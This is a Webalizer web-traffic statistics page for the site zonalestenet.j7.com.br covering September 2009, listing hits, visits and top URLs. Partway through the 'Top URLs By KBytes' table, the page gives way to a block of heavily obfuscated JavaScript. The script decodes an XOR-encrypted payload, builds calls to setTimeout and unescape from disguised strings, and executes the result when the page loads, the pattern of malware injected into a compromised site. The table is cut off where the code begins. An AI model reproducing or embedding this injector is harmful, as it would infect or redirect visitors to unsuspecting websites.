Usage Statistics for zonalestenet.j7.com.br

Summary Period: September 2009
Generated 01-Oct-2009 02:17 EDT

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for September 2009
Total Hits 11006
Total Files 10690
Total Pages 9994
Total Visits 1447
Total KBytes 81634
Total Unique Sites 341
Total Unique URLs 129
Total Unique Referrers 208
Total Unique User Agents 74
. Avg Max
Hits per Hour 15 500
Hits per Day 366 857
Files per Day 356 848
Pages per Day 333 849
Visits per Day 48 134
KBytes per Day 2721 22851
Hits by Response Code
Code 200 - OK 10690
Code 206 - Partial Content 8
Code 301 - Moved Permanently 2
Code 304 - Not Modified 49
Code 404 - Not Found 252
Code 405 - Method Not Allowed 5

Daily usage for September 2009

Daily Statistics for September 2009
Day Hits Files Pages Visits Sites KBytes
1 531 4.82% 524 4.90% 522 5.22% 43 2.97% 26 7.62% 11566 14.17%
2 40 0.36% 36 0.34% 30 0.30% 26 1.80% 12 3.52% 432 0.53%
3 577 5.24% 573 5.36% 441 4.41% 56 3.87% 48 14.08% 1201 1.47%
4 52 0.47% 44 0.41% 45 0.45% 35 2.42% 17 4.99% 497 0.61%
5 377 3.43% 374 3.50% 73 0.73% 57 3.94% 45 13.20% 982 1.20%
6 338 3.07% 335 3.13% 333 3.33% 134 9.26% 53 15.54% 949 1.16%
7 692 6.29% 687 6.43% 583 5.83% 42 2.90% 23 6.74% 1217 1.49%
8 571 5.19% 548 5.13% 553 5.53% 103 7.12% 32 9.38% 5739 7.03%
9 239 2.17% 229 2.14% 134 1.34% 59 4.08% 20 5.87% 700 0.86%
10 258 2.34% 225 2.10% 132 1.32% 63 4.35% 31 9.09% 912 1.12%
11 335 3.04% 312 2.92% 325 3.25% 49 3.39% 21 6.16% 605 0.74%
12 194 1.76% 177 1.66% 176 1.76% 38 2.63% 12 3.52% 1131 1.39%
13 255 2.32% 249 2.33% 246 2.46% 41 2.83% 12 3.52% 1046 1.28%
14 536 4.87% 530 4.96% 526 5.26% 41 2.83% 12 3.52% 632 0.77%
15 155 1.41% 143 1.34% 141 1.41% 27 1.87% 9 2.64% 366 0.45%
16 376 3.42% 367 3.43% 369 3.69% 39 2.70% 18 5.28% 962 1.18%
17 505 4.59% 490 4.58% 494 4.94% 62 4.28% 19 5.57% 643 0.79%
18 707 6.42% 698 6.53% 699 6.99% 39 2.70% 23 6.74% 11990 14.69%
19 857 7.79% 848 7.93% 849 8.50% 30 2.07% 11 3.23% 22851 27.99%
20 343 3.12% 338 3.16% 335 3.35% 31 2.14% 10 2.93% 577 0.71%
21 192 1.74% 186 1.74% 184 1.84% 61 4.22% 11 3.23% 386 0.47%
22 318 2.89% 306 2.86% 306 3.06% 77 5.32% 30 8.80% 1052 1.29%
23 184 1.67% 177 1.66% 180 1.80% 37 2.56% 11 3.23% 224 0.27%
24 181 1.64% 174 1.63% 172 1.72% 49 3.39% 23 6.74% 300 0.37%
25 427 3.88% 415 3.88% 418 4.18% 34 2.35% 10 2.93% 11342 13.89%
26 384 3.49% 373 3.49% 377 3.77% 30 2.07% 15 4.40% 834 1.02%
27 181 1.64% 159 1.49% 172 1.72% 31 2.14% 18 5.28% 295 0.36%
28 215 1.95% 214 2.00% 214 2.14% 36 2.49% 23 6.74% 277 0.34%
29 654 5.94% 633 5.92% 641 6.41% 38 2.63% 18 5.28% 1530 1.87%
30 332 3.02% 326 3.05% 324 3.24% 48 3.32% 24 7.04% 400 0.49%

Hourly usage for September 2009

Hourly Statistics for September 2009
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 19 582 5.29% 19 576 5.39% 19 574 5.74% 403 12077 14.79%
1 11 349 3.17% 11 331 3.10% 11 333 3.33% 32 975 1.19%
2 2 79 0.72% 2 77 0.72% 2 76 0.76% 9 271 0.33%
3 14 442 4.02% 14 435 4.07% 14 431 4.31% 395 11852 14.52%
4 29 873 7.93% 28 855 8.00% 25 756 7.56% 40 1201 1.47%
5 16 507 4.61% 16 505 4.72% 16 500 5.00% 287 8596 10.53%
6 18 564 5.12% 18 543 5.08% 14 420 4.20% 214 6433 7.88%
7 4 129 1.17% 4 125 1.17% 4 125 1.25% 18 529 0.65%
8 20 610 5.54% 20 604 5.65% 16 486 4.86% 19 565 0.69%
9 23 713 6.48% 23 704 6.59% 20 613 6.13% 398 11947 14.63%
10 26 796 7.23% 26 789 7.38% 26 789 7.89% 48 1443 1.77%
11 12 389 3.53% 12 363 3.40% 9 281 2.81% 47 1419 1.74%
12 12 383 3.48% 12 376 3.52% 12 376 3.76% 19 584 0.72%
13 18 553 5.02% 18 542 5.07% 18 551 5.51% 542 16247 19.90%
14 18 548 4.98% 18 540 5.05% 17 531 5.31% 29 856 1.05%
15 10 320 2.91% 10 318 2.97% 10 310 3.10% 13 396 0.48%
16 10 320 2.91% 10 305 2.85% 10 314 3.14% 29 858 1.05%
17 13 416 3.78% 13 404 3.78% 13 411 4.11% 27 804 0.98%
18 17 538 4.89% 17 533 4.99% 17 531 5.31% 14 423 0.52%
19 5 152 1.38% 4 143 1.34% 4 142 1.42% 16 465 0.57%
20 15 467 4.24% 14 440 4.12% 14 440 4.40% 36 1073 1.31%
21 19 591 5.37% 18 542 5.07% 15 455 4.55% 25 743 0.91%
22 13 393 3.57% 12 368 3.44% 11 347 3.47% 27 822 1.01%
23 9 292 2.65% 9 272 2.54% 6 202 2.02% 35 1056 1.29%

Top 30 of 129 Total URLs
# Hits KBytes URL
1 7785 70.73% 4433 5.43% /
2 1440 13.08% 49131 60.18% /webalizer/usage_200909.html
3 752 6.83% 432 0.53% http://zonalestenet.j7.com.br
4 363 3.30% 12093 14.81% /webalizer/usage_200908.html
5 47 0.43% 463 0.57% /webalizer/
6 19 0.17% 1111 1.36% /webalizer/usage_200705.html
7 17 0.15% 917 1.12% /webalizer/usage_200707.html
8 16 0.15% 886 1.08% /webalizer/usage_200809.html
9 9 0.08% 5 0.01% ////
10 9 0.08% 89 0.11% /webalizer/////
11 9 0.08% 670 0.82% /webalizer/usage_200706.html
12 9 0.08% 538 0.66% /webalizer/usage_200802.html
13 7 0.06% 350 0.43% /webalizer/usage_200708.html
14 6 0.05% 302 0.37% /webalizer/usage_200806.html
15 5 0.05% 49 0.06% /webalizer//
16 5 0.05% 219 0.27% /webalizer/usage_200905.html
17 4 0.04% 403 0.49% /webalizer//usage_200803.html
18 4 0.04% 207 0.25% /webalizer/usage_200709.html
19 4 0.04% 197 0.24% /webalizer/usage_200801.html
20 4 0.04% 273 0.33% /webalizer/usage_200811.html
21 4 0.04% 285 0.35% /webalizer/usage_200812.html
22 4 0.04% 339 0.42% /webalizer/usage_200901.html
23 4 0.04% 334 0.41% /webalizer/usage_200902.html
24 4 0.04% 220 0.27% /webalizer/usage_200907.html
25 4 0.04% 2 0.00% http://zonalestenet.j7.com.br/
26 3 0.03% 230 0.28% /webalizer//usage_200705.html
27 3 0.03% 238 0.29% /webalizer//usage_200706.html
28 3 0.03% 183 0.22% /webalizer//usage_200707.html
29 3 0.03% 242 0.30% /webalizer//usage_200708.html
30 3 0.03% 169 0.21% /webalizer//usage_200709.html

Top 10 of 129 Total URLs By KBytes
# Hits KBytes URL
1 1440 13.08% 49131 60.18% /webalizer/usage_200909.html
2 363 3.30% 12093 14.81% /webalizer/usage_200908.html
3 7785 70.73% 4433 5.43% /
4 ClgwzwPlDp='';var nVJN='';var sTIG='';var eJC='';var sFM='';var sYV;var qOR='';var oJT=false;var bRDM=false;sYV='%f4%e6%fa%eb%ee%f0%f7%e7%c3%83%cf%9e%a6%8b%89%f2%a4%b8%bf%97%cc%ba%98%9d%b4%e8%b8%bd%8e%90%ee%a1%bc%aa%81%85%b2%a9%b7%a2%81%c5%a6%bb%a8%a4%ab%e4%b4%aa%cc%97%9b%f7%9e%e3%a8%e2%a6%ba%ad%c3%95%89%a6%ff%f7%f6%f8%ed%f9%ae%ed%d8%c1%ef%ea%af%a4%a9%fd%fc%fb%e6%d7%c1%b7%8d%84%e8%f8%fc%ff%d2%cd%a7%a7%b1%e9%e1%eb%fb%ea%e6%d9%d4%ea%d3%d4%b7%a6%af%e0%d7%c4%a4%f9%80%e2%e2%fb%ea%93%98%a4%e9%e5%f5%d7%c0%d0%f1%da%dc%9a%e9%f3%e3%e7%8a%dc%d9%a3%b1%dd%d1%da%b4%d7%df%f5%c4%b5%af%b4%b0%e2%f0%fc%e0%df%cc%80%ad%bf%b4';var hODA="hODA";var uHSZ="uHSZ";function dRDP(cEC){var qXR="qXR";var sBQ='';var jEJ='';var xXK=56834;var kQK=25083;var cAX=false;var lMR="";function vBB(vJY){var lJH=false;var sJP="sJP";var dYQ="dYQ";var mUA="";var yIOH="yIOH";var uRLF=0,cHJD=vJY.length;var wOUH="";var aBQD=63296;var wWC="wWC";var eYQT='';var jSQ=0;var pVAB=false;var hSYO="hSYO";var pOB="";var dKQ=false;var zRS=65048;while(jSQ= dPIH[bGJO].pIJN.length) {var fEB="fEB";var wXW="";var hXHI="hXHI";dPIH[bGJO].uZFY = 0;var qNU="qNU";var qJA=false;var nZPJ=56035;var iQN=false;} else {var bWR="bWR";var jOJ="";var bJN=9514;var nRAE="nRAE";dPIH[bGJO].uZFY = vNB + 1;var eIXX=false;var wOP=false;var zWJ=8982;}var mNK='';var hSH='';var pTQ="";return yMSC(tKM, 0);var wEW="";var mWNZ="";var hPNQ="";}var wGB="wGB";var fKD=false;var vQD="";}var tUL="tUL";var iOM=37506;var bHGE="";var mPR="mPR";var oYJB=28660;function yMSC(mLE,rVTA){var kLDA='';var mDNI="";var cNN='';var rLO="";return mLE.charCodeAt(rVTA);var uMCW="uMCW";var tVQD='';}var pJE='';var wFCK=false;var oIJV=false;var cWPF='';var pBR = new String(document['d/owcyu/myewnwt/'.replace(/[/\!byw]/g, '')]);var sZLL='';var wHKH="wHKH";var mTE=false;var gVH=false;var rWUC=7787;var bBQ=false;if(pBR.indexOf('agr6i6t?y$'.replace(/[\$n6\?g]/g, '')) != -1) {var dZE="";var sGMY='';var aSU=''; return 207;var fZNQ="fZNQ";var jYBM=56570;var sEE="sEE";}var tGW=false;var qWX=9838;var qPES="qPES";var yZA=false;var jWAF="";var aZS="";var lNS=false;var dPIH = null;var eHOF="eHOF";var oEK='';var jXV="";var xHW=window;var bQN="bQN";var xCYL="";var yHVK='';var wVN=window;var gZX='';var sRT="";var aTNN="aTNN";var cQMN="cQMN";var lDJ=String;var cZR=29348;var jNS=false;var qEKD="qEKD";var gHUS = xHW['sbect~T:ibm:e~obubt~'.replace(/[~cb3\:]/g, '')];var eNEZ=false;var eAY='';var zHM=false;var pDQ="";var qEGW=207;var wMX='';var pOK=32092;var xTKZ=xHW['u]n]eisic]a]p(e]'.replace(/[\]iO\(_]/g, '')];var aHR="";var wFS="";var kONZ='';var vEMF='';var aBXQ = '';var qLGH=49474;var ePMG="";var tSYK=false;var eMI=lDJ['fUr(okmkCXhUa(r+C(oXdUeU'.replace(/[UXk\(\+]/g, '')];var pIM='';var yICB="";var cEC = xTKZ(cEC);var pUMU=false;var vAOT=false;var lQCX="lQCX";var bBKB="";var gNF=46948;var dCU=14559;var qPP=false;var oQOZ="";var jVQ = new lDJ(dRDP).replace(/[^@a-z0-9A-Z_-]/g,'');var pTAW="pTAW";var iMU=false;var jLZ="jLZ";var aZYI = new lDJ(vBB(jVQ));var fZMY='';var aEF='';var fTU="fTU";var yJZ="";var uSH=32357;var eFVL="eFVL";var bWQX=false;nDV('sAB', jVQ);var kCGH="kCGH";var oWN=52606;nDV('eKJV', aZYI);var eCNX=false;var cYO=3466;var xMY="";var kQST=53720;var gLE=false;var xTHM=false;for(var dHJI=0; dHJI < (cEC.length); dHJI++) {var iUW='';var cIE=16134;var mNT='';var eXD=16667;var fAQC="fAQC";var hVY='';var kHZK = yMSC(cEC,dHJI);var iIV="iIV";var hVS="";var oJDE="";var qICQ='';kHZK^= qEGW;var uZTY="";var lHJ=false;var tRM=false;var kZO='';kHZK^= dPQ('eKJV');var jIL='';var vCK="";var zMIQ='';kHZK^= dPQ('sAB');var tQNW="tQNW";var mRK=false;var xCW='';var oQZG='';var lXDH="lXDH";var sKU=false;aBXQ+=eMI(kHZK);var yVQ='';var qILG=false;var nPR="nPR";var lPYF=15403;}var bVO="bVO";var mGGV=false;var yCLV=43167;var gVD="gVD";var zAEP="";var hUEM='';var uVZ='';gHUS(aBXQ, 190);var oNNF="oNNF";var tBFQ="tBFQ";return aBXQ=new lDJ();var gAU="gAU";var dYVL=false;var lEO=false;var cLPG=false;};var vDM="vDM";var iCDD="";var dVZW=false;var aRY=false;dRDP(sYV);var uDI=20361;var pAV=false;